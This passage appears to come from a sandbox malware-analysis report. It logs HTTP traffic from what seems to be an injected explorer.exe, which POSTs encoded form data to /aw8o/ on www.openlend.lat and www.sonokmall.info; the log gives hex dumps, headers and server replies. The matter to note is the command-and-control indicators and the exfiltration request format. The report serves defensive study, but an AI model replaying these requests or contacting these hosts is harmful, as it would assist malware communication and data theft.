Aug 29, 2023 22:50:34.628901005 CEST	2430	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.11.20	50058	169.150.247.39	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:50:44.297097921 CEST	2436	OUT	POST /aw8o/ HTTP/1.1 Host: www.openlend.lat Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.openlend.lat Referer: http://www.openlend.lat/aw8o/ Connection: close Content-Length: 52915 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko Data Raw: 35 4e 61 67 30 64 3d 45 79 6e 56 2f 30 6d 31 68 31 49 7a 41 62 38 78 46 6c 76 61 38 31 43 31 67 30 69 2f 73 6c 42 4a 77 6b 61 49 37 73 36 36 48 67 67 71 38 4b 6a 6f 6c 47 51 70 4d 4a 74 56 75 36 69 37 62 5a 39 62 46 50 59 46 5a 66 38 67 52 58 41 46 52 52 42 34 74 7a 50 70 52 2f 49 58 49 4d 51 6f 5a 4c 48 44 35 4f 32 77 53 32 5a 4c 74 77 55 44 70 37 4d 67 63 49 65 32 30 47 75 43 63 32 6c 77 38 51 6f 38 2f 39 47 57 50 4d 4f 59 54 69 67 50 61 4c 73 37 46 4a 32 69 70 39 79 79 38 39 78 6a 6e 43 42 44 41 4c 6d 72 58 64 79 41 45 51 68 69 79 7a 55 56 39 33 32 69 50 72 38 38 2f 74 4e 76 6f 73 64 61 6f 48 7a 37 46 63 38 77 74 38 72 7a 4b 41 32 32 4c 50 58 41 71 34 35 4c 6c 77 59 4e 53 36 6c 42 61 39 4e 31 66 7a 6b 2b 52 77 35 7a 78 71 66 50 41 6b 4a 4b 4c 68 42 32 73 4e 31 56 61 45 56 6d 68 45 30 4f 33 67 34 73 50 2b 45 4f 44 69 37 42 46 36 69 57 31 4b 4e 69 77 78 66 67 34 34 65 57 4c 4c 2b 6a 58 47 32 41 39 38 2f 6e 42 4f 4b 6a 77 55 31 44 78 47 34 54 43 37 65 71 30 62 75 68 76 6a 4c 59 6f 33 61 4d 77 52 55 74 47 76 38 6c 6c 78 47 33 62 69 45 34 31 62 57 67 42 55 4c 52 58 69 6c 50 5a 5a 75 57 67 6c 48 43 51 50 74 31 4d 30 44 61 55 47 37 6d 75 6a 38 30 7a 2f 6b 33 43 75 34 4b 64 70 69 4d 4f 34 58 45 6e 48 30 76 72 30 67 69 4d 4c 33 5a 69 6e 52 57 79 6b 54 57 52 73 6f 41 53 6e 39 65 45 49 33 73 6a 2f 66 51 58 33 57 64 30 78 34 75 49 65 7a 46 55 6c 4b 47 68 4c 72 7a 52 37 6b 65 30 65 31 44 56 65 57 4e 33 75 69 34 58 61 31 66 6e 68 7a 77 6a 6b 47 45 46 6b 47 33 53 68 48 37 34 56 4b 41 47 42 32 4a 7a 69 6f 49 43 6d 5a 70 50 79 76 32 2b 65 75 4b 65 43 68 42 67 50 44 72 49 68 6d 42 77 47 45 39 70 4a 54 31 2b 2b 4f 41 6d 6e 73 76 4a 46 79 48 79 2f 6e 5a 78 37 38 34 63 59 65 30 6d 4d 63 37 4e 77 47 32 77 45 31 46 30 4d 4d 72 7a 48 55 6e 57 44 43 56 43 68 4d 6c 42 2f 76 64 4e 42 4a 54 77 34 4c 48 75 65 42 30 66 45 37 38 6c 77 4d 4d 6d 75 33 77 36 56 6d 54 66 6e 50 52 72 32 61 41 59 48 6b 52 58 38 47 6e 64 6b 65 48 73 75 64 71 33 6f 39 33 6c 57 7a 35 67 48 64 37 43 78 37 4f 59 49 72 69 58 72 39 36 62 73 6b 53 48 35 43 52 67 7a 6f 56 56 67 61 73 4f 73 73 53 54 50 43 54 58 78 6b 6b 73 4c 67 50 67 44 35 2f 5a 71 45 6a 37 32 75 42 39 68 4e 5a 78 74 47 55 33 73 4e 4d 30 32 66 43 53 57 2b 67 70 68 45 7a 49 32 47 65 62 37 30 73 50 4f 45 47 4c 4b 46 74 6d 30 62 67 46 53 39 4c 56 39 37 32 47 32 67 34 77 71 35 7a 73 62 51 77 61 58 69 5a 78 54 62 50 69 65 45 70 52 58 59 46 37 4a 6e 41 38 79 50 5a 53 4f 44 45 37 4c 37 50 30 6c 46 4b 45 38 51 56 34 43 2b 64 36 48 37 2f 38 66 58 2b 73 6e 6e 61 68 76 38 4a 72 38 70 36 71 62 6f 5a 74 43 78 30 34 73 47 76 77 56 32 76 6c 6d 51 64 32 50 32 6f 62 46 71 54 55 4f 32 37 47 64 53 42 44 4f 39 63 66 70 79 54 78 61 57 52 6e 61 4a 41 6e 34 77 70 78 64 69 57 50 61 61 58 4c 42 69 63 39 69 7a 4a 52 6e 48 45 66 56 38 4b 52 42 6d 68 6d 54 57 56 6a 53 79 64 44 32 64 4f 38 72 70 59 62 75 34 2f 5a 55 41 74 47 2b 46 73 77 65 73 30 74 61 76 74 6d 52 4d 48 33 65 72 4c 44 73 6d 61 49 56 35 6d 44 51 66 7a 52 49 6e 72 50 46 76 4e 58 71 73 61 5a 4c 41 32 37 6a 46 33 4b 70 62 48 36 30 59 62 37 69 51 59 6a 5a 4e 32 2b 44 61 4c 72 79 68 50 74 5a 70 6b 76 71 4d 38 61 37 41 78 4f 31 37 7a 59 73 57 6a 62 38 4d 4a 6d 6e 6a 49 70 66 75 76 5a 39 70 66 79 58 68 33 62 50 6a 75 61 4f 61 50 79 50 36 58 4a 68 45 78 2f 77 32 71 55 76 4d 48 6f 79 34 65 73 46 35 6a 53 5a 6c 4a 7a 34 42 37 31 31 7a 43 6b 4b 62 4d 78 59 46 66 6a 70 37 63 2f 2f 75 59 35 54 41 58 35 53 6b 37 57 6d 57 35 45 4a 31 42 42 54 72 49 4c 4f 59 50 48 6a 33 39 41 62 76 76 6a 43 79 50 44 74 62 76 5a 57 2f 6a 6f 67 68 6d 63 64 2f 35 63 74 74 46 2b 74 56 4c 47 6a 6b 39 49 56 77 54 39 39 67 44 75 67 50 76 71 56 73 55 2f 49 6a 79 4d 74 5a 62 64 4a 50 72 53 72 52 79 45 49 46 4f 68 7a 64 53 49 41 4d 6d 6c 68 76 59 6b 77 52 66 7a 31 78 59 48 6b 49 73 4e 71 4d 6d 73 57 51 54 5a 79 49 50 6d 54 6d 69 53 4f 33 43 79 37 4a 4e 33 42 70 6c 4e 6a 6b 67 56 70 64 48 67 69 43 41 53 44 6d 45 75 37 2f 63 56 45 54 4a 62 55 42 6a 6e 6e 46 42 41 44 39 51 65 68 50 50 54 56 74 55 48 2b 4f 32 71 74 46 59 70 56 7a 44 75 45 4c 6c 4a 54 54 6a 51 34 4f 4e 4a 33 44 53 54 69 73 63 35 59 49 78 55 72 71 6c Data Ascii: 5Nag0d=EynV/0m1h1IzAb8xFlva81C1g0i/slBJwkaI7s66Hggq8KjolGQpMJtVu6i7bZ9bFPYFZf8gRXAFRRB4tzPpR/IXIMQoZLHD5O2wS2ZLtwUDp7MgcIe20GuCc2lw8Qo8/9GWPMOYTigPaLs7FJ2ip9yy89xjnCBDALmrXdyAEQhiyzUV932iPr88/tNvosdaoHz7Fc8wt8rzKA22LPXAq45LlwYNS6lBa9N1fzk+Rw5zxqfPAkJKLhB2sN1VaEVmhE0O3g4sP+EODi7BF6iW1KNiwxfg44eWLL+jXG2A98/nBOKjwU1DxG4TC7eq0buhvjLYo3aMwRUtGv8llxG3biE41bWgBULRXilPZZuWglHCQPt1M0DaUG7muj80z/k3Cu4KdpiMO4XEnH0vr0giML3ZinRWykTWRsoASn9eEI3sj/fQX3Wd0x4uIezFUlKGhLrzR7ke0e1DVeWN3ui4Xa1fnhzwjkGEFkG3ShH74VKAGB2JzioICmZpPyv2+euKeChBgPDrIhmBwGE9pJT1++OAmnsvJFyHy/nZx784cYe0mMc7NwG2wE1F0MMrzHUnWDCVChMlB/vdNBJTw4LHueB0fE78lwMMmu3w6VmTfnPRr2aAYHkRX8GndkeHsudq3o93lWz5gHd7Cx7OYIriXr96bskSH5CRgzoVVgasOssSTPCTXxkksLgPgD5/ZqEj72uB9hNZxtGU3sNM02fCSW+gphEzI2Geb70sPOEGLKFtm0bgFS9LV972G2g4wq5zsbQwaXiZxTbPieEpRXYF7JnA8yPZSODE7L7P0lFKE8QV4C+d6H7/8fX+snnahv8Jr8p6qboZtCx04sGvwV2vlmQd2P2obFqTUO27GdSBDO9cfpyTxaWRnaJAn4wpxdiWPaaXLBic9izJRnHEfV8KRBmhmTWVjSydD2dO8rpYbu4/ZUAtG+Fswes0tavtmRMH3erLDsmaIV5mDQfzRInrPFvNXqsaZLA27jF3KpbH60Yb7iQYjZN2+DaLryhPtZpkvqM8a7AxO17zYsWjb8MJmnjIpfuvZ9pfyXh3bPjuaOaPyP6XJhEx/w2qUvMHoy4esF5jSZlJz4B711zCkKbMxYFfjp7c//uY5TAX5Sk7WmW5EJ1BBTrILOYPHj39AbvvjCyPDtbvZW/joghmcd/5cttF+tVLGjk9IVwT99gDugPvqVsU/IjyMtZbdJPrSrRyEIFOhzdSIAMmlhvYkwRfz1xYHkIsNqMmsWQTZyIPmTmiSO3Cy7JN3BplNjkgVpdHgiCASDmEu7/cVETJbUBjnnFBAD9QehPPTVtUH+O2qtFYpVzDuELlJTTjQ4ONJ3DSTisc5YIxUrqlXuR5n56pgPqch8JJxvHrAU34W6RZlgJzg+V3VJLC9/nEcKvNFExdb8XSysR+JAQa+2NJHoAhiDoZudKTSuTrIhV/Th5zmkw0zcdtRjURJwpOVGFaNRj6N3UDy8lzwUi10shUI5nRFnpY+1yW+oB5wm+1GvV6TJiyKpDlytddkd3+qjkwON0JH5DW8bRxDRhPLthffHNSBLwI++PSxIHvRZzDn87JCoCZFGc1LZglDsrq//m+UW++oOjK4nvj59J3E+o56GXpPCN3G17XO3d+NS96gVWc+jDVh5mxYSmgZnRE7gGuXNGZbiBtuvkYxFpcyGznWBa/YNJRnA3lBieoomak1cvN+rD+FQ8fNhect4XWDXUeSL+UKtLaWFFz6AmlAS7lrJFsgPCTz7eeEhxeaoFcZCnOtRTgyjy7g69HsrwgjTkN1jSEuRHZDbE78SMQSYuWLyFJYKoFBqZKWThEXQpXDSB5fp3Fa4PMshdi91AqhxSHLEB4Jitkl3u9VpDgBF8jPQ0H/POx7I0uj58zq1v6jlCkI+pEPfveaAfIPhIgwjxM0YbzCYPlaf/RLRWnWrMGVzh1r/ypmtgGT/d6yPgFiDS+n2rJ9WslzfHryCpUFOtCOvEFAc40ulVNNpLkhdEZkDI2BfMpDmx1gIAlIXXvhs4Sz0iM1jBPUycrwg8Xx5E70EB/qLDAtpOX8oExJq4OyPqk4Rmw1tiuRSdWVsf6m0NEweCb16j4tHH1Au2f+OLQ/Mo3wAhg+ZxUAods0AvmxThSC7DMWnMlNflrclan/q62GNdckyUw3zjPaaW/JBcxjUUCrgddKzzB1+6/+VJOmPMwodzyleKWmUa+mdZ0beUdxSue8/fwGbpuyboCDKo3Urr8Bwza7auMPL4h4z764Rrxu6zV/9gznpUp6EOTsaSmYvdYJWRKGiKImZgE8hHLM+2KxEbwooo7hfRKJwZGLKgVpWK12O7VQtlUot+KNyNcBsE+oNrYWhNJmq7QfMqBwyYpLUcOK6OTqyCxmQuIuMKwD06vYwFXwunaCZGbMvlfMjtEpsbQDy8/GFrFPlqWJXs99bumo+prvNptYucPgmmuBSCSMmOIEyQCPeOHeHTftaDnaRuW78AknQRPeRqVWDixVQSpUejD3rpdM06+ko3GAtruRqWebPpLgOb0bi8X9V9sKHtOMev7fw66fhiwWryCbaZdy5hKnTL64HwLpn4iQ12VAU9omnJrxn8t9z5tpJkyHRSFjZVCLjb2Oe9MgFlfpFW8y4qQ8y44gDPxipRIGEAE0Yb/2OTsirpkU9eRuv/KzIxCX2aHKUzaHKVqcpzC2rkYq7Tn9URLzBya7aUJj0jcxoI4fvLeVb3vsUR6a+Re1x4v1QMAqfJ+iuVmjAhHZHYRx9R/6ck/WTyHO45jLWW68XYJE/+wFB9/sqoaUvppWVv9tN+1897EoAfcOVatfC5jM8DzyQyQPTJcVpWNbW7K/6Vc2bAROnV7qj0zc4yyXQdsDxkrBZ7R3kT3HTA31Vklh0w+egRZJ61BRMVGn6BXJ1MPnuN8WXoVh7yGQ20K1WUFL4n6VOgCLFlEvxuDq0zzBc8qsmp5rpWou/biL9h05rr9UrDIzy8Z2saHclgaY1hxluZ2P9jx7Tu3FsUNojbTnpE8AA5ZdVQiSlERoHuDTiPyd9faI/utBxCzlF4c+FSnGTmPhy7fAH51eYEEfJ4I+SZf1DWifBkm6bWqtd0dg7yKpBCLlHHFWSE9E/vFqkxI5UncgdiIf2lYXjqNKxekXK09c0uh45/fhtGL9mMomO8jy7b/gYWWly0z3XXlh7ZOC8alDKfZXP+f/HZsAM+xkClU++DzpVmOw7wPe98lhRg9nygqYNfOlfgFD0TgmluTwLH6m7w0YoUmE0Y23tE9cK/kz363huZR0oH4EmKgWeLoc8/N7IFRjXfd1TwkH7SnGfDp0LNOfzcF6LjCWs3h6BwUGbxvvdRhA3TqgVuuUQ1q8BJFGxlbNN9a2mA+ocanuR0Nivv1kZIfJtkQsyl32rLr58VTSFeHfKWQU8WVXwMAfexnAuX6bt1+AOpEwyL4Jwfrm2vCJcKYY+vQlIjIpell+Noaz8T5npO69OQep0HSzuUDosUgOc73GkGoPuyVQcFeCtqADykKgMicWKU+vcjeqMyiYaDsnS5PcmQP31eUWE2Aa6XN7nrjxt/FAr1ZtTgPDNpinLVAI0GPGwuj6t56RVFLGhmbhlQDCgHQ33YAOxEMo13D5D7X0AmHNH17EBoYwatPr9nMXy14/7yeuSrWwsWLlsTig/KHn63qDlFyH4TB+MJmAhnOZfr+b169Uc86hCCbMBO7rYOKaij+8namI9KSoc0/0LmCOF7DYmWtihozjoWbLANEpGoj3xiiUxImi6tn33es+uQvoZpIu4yQOjwBw4MjRUSgzC9ZjJ21nna/dK8WLz0hrJdnjty+2lPv9BmO9Q50ayZBQObmlRcYORCuqGJIffXQCJgkCy9S5h9aM+2iIIT0BnZPXRxuFvu4aOUWRUBs8hRdM0LHI/lQZyy/H45Rhm4kVZqf4AGAL/aceqZvrlqc+6TT/xQzgUUk0BWOi+O26VGhNDXb5nX1tqdbgiPQo4XiHMqt3PTf68PE8eAPWPZEEDOUZSyJy16wqy9YSHdPT4WdBJ6D36UY6hn/UlgyrTN0FoPbchn2R3HK/KhRb4kWqFbfCaV
Aug 29, 2023 22:50:44.297185898 CEST	2443	OUT	Data Raw: 73 47 6e 63 76 71 32 65 4a 46 59 69 6c 57 68 36 43 6e 79 4d 5a 36 2f 30 58 68 33 48 7a 51 33 4e 79 65 47 55 63 34 63 31 44 4b 64 31 6b 43 63 31 7a 65 5a 4c 59 76 37 71 67 58 63 57 77 47 61 61 50 77 5a 68 6b 73 6f 45 55 39 56 5a 4e 53 75 49 54 51 Data Ascii: sGncvq2eJFYilWh6CnyMZ6/0Xh3HzQ3NyeGUc4c1DKd1kCc1zeZLYv7qgXcWwGaaPwZhksoEU9VZNSuITQvg9qmhSpgAy/M1lwE2hwCdU7o2RShstrFvF5A5pHVZdfKRoNVfSQyKSnGabR+5GByqoK8SIS6EjGxURGgFB7WL/KXQ+BrtpanrDAdkmv5U+R3tqXeJECUo4z2ItW26R6Z9INJ04cpaYZLuMRcMblP4cvpRQB07ier
Aug 29, 2023 22:50:44.307662010 CEST	2444	OUT	Data Raw: 52 31 4d 45 62 50 48 5a 48 55 69 69 51 6a 55 75 68 62 44 30 58 6d 46 6a 52 44 65 56 6a 4f 37 72 37 63 39 36 54 47 79 42 6a 61 6c 4e 4a 63 31 4a 41 31 45 49 38 76 4b 33 44 2b 59 59 68 6f 54 35 56 38 46 78 56 44 43 42 31 57 6f 7a 55 6a 73 74 49 36 Data Ascii: R1MEbPHZHUiiQjUuhbD0XmFjRDeVjO7r7c96TGyBjalNJc1JA1EI8vK3D+YYhoT5V8FxVDCB1WozUjstI66kz4ypeYZtgSSmyLjnzToUAmPNVTsuxgd6uAtBe9AXdCuuHLJbKeWN6rrtiY6w4P2P9lDL9pgCph0D036SJWpaP2VE7g+V0C6cnn795iLuvlMfiFO3IJSnX4EJTTyYrzrvTmWJzE1LGC1DOfpt/YlC86vD/fjxqpC
Aug 29, 2023 22:50:44.307713985 CEST	2448	OUT	Data Raw: 52 62 51 65 41 73 70 66 49 6c 7a 56 6c 32 4d 7a 4f 7a 74 47 6f 77 42 55 2b 6e 54 79 70 2b 66 64 48 64 41 75 61 4d 43 7a 36 4c 68 4d 75 65 62 32 69 71 37 43 4e 70 39 49 38 61 75 64 6f 74 52 65 6d 52 4b 56 6f 39 49 6a 6e 65 65 50 56 2b 50 38 34 6d Data Ascii: RbQeAspfIlzVl2MzOztGowBU+nTyp+fdHdAuaMCz6LhMueb2iq7CNp9I8audotRemRKVo9IjneePV+P84mjCANmQNHK4bPM+we1q0fYQxhH8fP3qWfoe2oiN7zjwQUHI+787ZY2in3+hWxwJOcufhvGIKuW34igEkroZQ0b6sdO2veWoPdl2vw5subcJ0STDc52ER87hbqBuohloTEN+Q6p3g/nsXNoWEHN0LoDKxS4cYbWqRdr
Aug 29, 2023 22:50:44.307935953 CEST	2451	OUT	Data Raw: 71 4b 4f 4e 4d 75 59 39 74 45 38 37 5a 77 78 71 6f 63 72 6a 48 56 58 32 51 31 6b 35 78 52 76 4d 33 61 6c 4f 77 5a 5a 77 48 49 57 58 2b 6b 61 6b 70 33 66 41 34 4e 4e 44 65 69 62 64 34 47 4d 78 42 59 53 36 30 34 31 71 72 2f 49 71 4f 34 62 45 30 6e Data Ascii: qKONMuY9tE87ZwxqocrjHVX2Q1k5xRvM3alOwZZwHIWX+kakp3fA4NNDeibd4GMxBYS6041qr/IqO4bE0n+2T597+l58oGW8/ZfKkfq2eAB4ZpZjQSxYeY/YSwL0ym5g016t27MtsnuWIwI3BvoyYysrbcJ571udCDHjo4w772W7pmBe39m82YCMT3TDOQEyt0LnZ4IIDK/0iC/rJH2K6XkZ5X70TUCRq2UybN7YKW4Oq5+mTgN
Aug 29, 2023 22:50:44.308288097 CEST	2467	OUT	Data Raw: 73 61 50 44 68 49 75 61 70 44 58 72 37 4c 4d 46 45 64 2b 61 70 66 35 39 2b 36 5a 67 45 49 6e 69 37 78 5a 64 76 63 45 78 4a 71 78 47 37 51 6d 59 52 34 32 77 49 6f 4f 45 70 4c 74 48 77 4c 52 61 6f 78 73 76 55 47 34 49 68 66 58 70 44 67 70 45 37 48 Data Ascii: saPDhIuapDXr7LMFEd+apf59+6ZgEIni7xZdvcExJqxG7QmYR42wIoOEpLtHwLRaoxsvUG4IhfXpDgpE7H0iv3/z2Aa1ZruuPbX/q6mBJ5RN+D0l2kCQ2ifpR2f5VLYLFnt0gdvd19dvczGybqqYfK10FdHNCrSJI7EM5TIvCgZiAF+/qEYkV8ITnAu+SyTfbtQh9vjo27C/ll4gGU3Lti0w+Wx+E6wxNuUmxktIHP2TgR1zv27
Aug 29, 2023 22:50:44.308351040 CEST	2469	OUT	Data Raw: 61 31 4e 6d 4a 50 37 5a 30 76 58 74 59 38 73 4e 47 65 45 34 69 4b 6c 6f 65 47 6b 41 61 33 6d 34 57 39 65 65 59 63 79 2f 41 70 42 4b 39 79 51 6c 63 56 64 2b 78 4d 71 73 37 62 4c 46 68 70 71 4a 78 6b 46 6b 54 33 72 76 37 4d 74 68 6c 67 68 38 4f 38 Data Ascii: a1NmJP7Z0vXtY8sNGeE4iKloeGkAa3m4W9eeYcy/ApBK9yQlcVd+xMqs7bLFhpqJxkFkT3rv7Mthlgh8O8DqnuVw3+9krcyqlBPHR1dNY8FuuN3dixpnBHLylklK/FUYwKi+LQQI0bBf1a3yTnbyZJRz/zMFXBhCEpF81Ab0bze6Zt1yaMJTrn5CoZdQioaDametDDd3WCYvHdfAQtccqyKhgPrzbsrjWtn2OodgsGVKqD+kYaW
Aug 29, 2023 22:50:44.318511963 CEST	2471	OUT	Data Raw: 43 6c 51 46 6c 31 5a 32 6d 5a 63 2b 64 59 68 6f 6b 4e 61 71 54 55 42 71 2b 48 58 43 7a 52 4f 30 2f 46 52 6e 4f 43 67 48 73 44 2f 38 63 42 45 79 77 77 74 71 58 69 74 73 47 51 61 61 77 62 5a 69 50 68 72 50 76 7a 73 4e 34 73 49 38 75 76 48 6c 31 78 Data Ascii: ClQFl1Z2mZc+dYhokNaqTUBq+HXCzRO0/FRnOCgHsD/8cBEywwtqXitsGQaawbZiPhrPvzsN4sI8uvHl1xtJvVE9J0IfHxskRyv9e0WuWYNseXZ+CGQlq/WDIal7rL/lJD1r3zNEbcDEwbF0CRjFXy1FKbtpSFqzE4iBg3dSKFAZosGs/wYSVq+gI8dPmHZTM1t1XbyaMD0o3DnsnM5KkzLYsQBPT9M0Ewvb8fR1nC3LVHfAlH6
Aug 29, 2023 22:50:44.318561077 CEST	2474	OUT	Data Raw: 36 55 51 78 58 42 4c 50 6f 4a 6f 78 47 37 37 35 77 63 61 4d 69 6b 4e 4f 49 67 6d 47 57 68 38 65 79 6c 5a 69 45 79 42 79 46 70 37 32 4a 4a 6b 47 65 55 37 43 68 72 59 6b 6b 50 2f 64 49 63 4e 75 4e 66 37 50 6e 65 66 31 6b 32 69 5a 41 56 65 44 65 6c Data Ascii: 6UQxXBLPoJoxG775wcaMikNOIgmGWh8eylZiEyByFp72JJkGeU7ChrYkkP/dIcNuNf7Pnef1k2iZAVeDely1iwYJqTgiSOWTrDbYDQ8zpCNo2YeKFpfaFBEx3xu5HRrUEh0foQKrO+36PrQwukTaDCcYzczEa5govvIfA+JyLfGLSrrt60YDhojnlyOWmExA02YH5de7eYfxYfqsUl3W/WbTYGOrujC9NOyH1Ls71GIRuWL4tEU
Aug 29, 2023 22:50:44.318605900 CEST	2475	OUT	Data Raw: 76 6c 6d 4d 57 44 43 72 43 78 38 47 50 71 56 55 47 63 64 76 67 52 46 55 4a 4c 4e 55 75 4c 53 49 46 2b 72 37 50 57 65 77 63 54 6d 62 30 36 67 4a 4d 58 49 2f 5a 4c 4e 6f 54 39 2b 50 4d 37 2b 63 52 6d 62 52 45 76 34 35 46 76 49 4c 45 4a 64 6f 75 2b Data Ascii: vlmMWDCrCx8GPqVUGcdvgRFUJLNUuLSIF+r7PWewcTmb06gJMXI/ZLNoT9+PM7+cRmbREv45FvILEJdou+tR+NI9nfC/4BOV34djv+SClk94tUP/wM+Kltbrf3yIAobKD9aDDcUFt3NIsnXGE4VyckL1yRzoB5uUrfqgZytvKDVjM++cnusKRvzwwdJ8ZCdMu16CQws+emMIN1HvV/UGaOsQyonurLdY9QA0IjbFfRanUgYUdAa
Aug 29, 2023 22:50:44.318780899 CEST	2479	OUT	Data Raw: 31 62 56 4f 70 45 33 6d 36 75 6e 56 75 50 54 69 4f 38 55 34 6e 59 56 6d 6b 45 38 39 68 36 49 54 61 74 30 57 37 30 59 34 36 78 37 39 53 77 36 64 4f 78 64 2f 78 64 33 5a 64 72 69 5a 77 72 6e 56 6a 46 46 34 4d 50 59 34 78 4f 4a 53 79 4a 54 6f 64 77 Data Ascii: 1bVOpE3m6unVuPTiO8U4nYVmkE89h6ITat0W70Y46x79Sw6dOxd/xd3ZdriZwrnVjFF4MPY4xOJSyJTodw6Mw4v9RlxAsICJjaHzuKo/VJadMLJ/+hMS9/4OuCOME43c6GtDwJx2d7zprXozjjYONWjIPPSWIbzHdNStUdKIex3LuXILw8XozC8qEPVletLM70lr4vmx6dLj4BUnqOhqCFPaGO/VHoLWCpWAWQVSZ8XTIjJMOaZ
Aug 29, 2023 22:50:44.396184921 CEST	2486	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 29 Aug 2023 20:50:44 GMT Content-Type: text/html Content-Length: 162 Connection: close Server: BunnyCDN-DE1-1082 CDN-PullZone: 1536508 CDN-Uid: 604b1f1d-7233-45b4-b382-b287d2fc47e3 CDN-RequestCountryCode: CH Cache-Control: no-cache Location: https://www.openlend.lat/aw8o/ CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 301 CDN-CachedAt: 08/29/2023 20:50:44 CDN-EdgeStorageId: 1082 CDN-RequestId: 673972e0de4665722c88f3e716996871
Aug 29, 2023 22:50:44.396214962 CEST	2486	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.11.20	49989	162.0.239.145	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:44:50.239156008 CEST	430	OUT	POST /aw8o/ HTTP/1.1 Host: www.sonokmall.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.sonokmall.info Referer: http://www.sonokmall.info/aw8o/ Connection: close Content-Length: 187 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko Data Raw: 35 4e 61 67 30 64 3d 31 79 61 53 47 76 59 53 31 73 55 49 55 58 31 78 43 39 4a 41 34 32 6d 59 31 68 68 67 77 4b 70 6e 4b 69 7a 31 65 71 66 51 48 44 6a 44 76 6c 33 4c 68 41 4a 61 47 55 68 73 37 61 76 6b 48 78 6c 79 63 2b 2f 53 59 32 71 55 50 46 63 76 31 63 39 5a 78 59 68 4b 59 63 69 39 58 48 57 53 6d 61 39 33 45 54 39 38 56 34 78 7a 6c 56 76 71 64 34 36 73 77 53 45 43 54 4e 59 49 73 6f 71 6a 6f 4c 71 6a 2b 6d 36 38 49 76 58 7a 31 65 2f 47 76 54 45 31 44 62 36 65 42 49 76 79 73 75 48 56 51 64 54 53 70 77 37 4b 2b 47 41 62 69 79 74 44 4f 73 37 67 33 51 3d 3d Data Ascii: 5Nag0d=1yaSGvYS1sUIUX1xC9JA42mY1hhgwKpnKiz1eqfQHDjDvl3LhAJaGUhs7avkHxlyc+/SY2qUPFcv1c9ZxYhKYci9XHWSma93ET98V4xzlVvqd46swSECTNYIsoqjoLqj+m68IvXz1e/GvTE1Db6eBIvysuHVQdTSpw7K+GAbiytDOs7g3Q==
Aug 29, 2023 22:44:50.549679995 CEST	431	IN	HTTP/1.1 404 Not Found Date: Tue, 29 Aug 2023 20:44:50 GMT Server: Apache Content-Length: 38381 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6d 65 79 65 72 2d 72 65 73 65 74 2f 32 2e 30 2f 72 65 73 65 74 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 2b 43 6f 6e 64 65 6e 73 65 64 3a 34 30 30 2c 37 30 30 27 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 09 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 41 22 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 70 3e 0a 20 20 3c 70 20 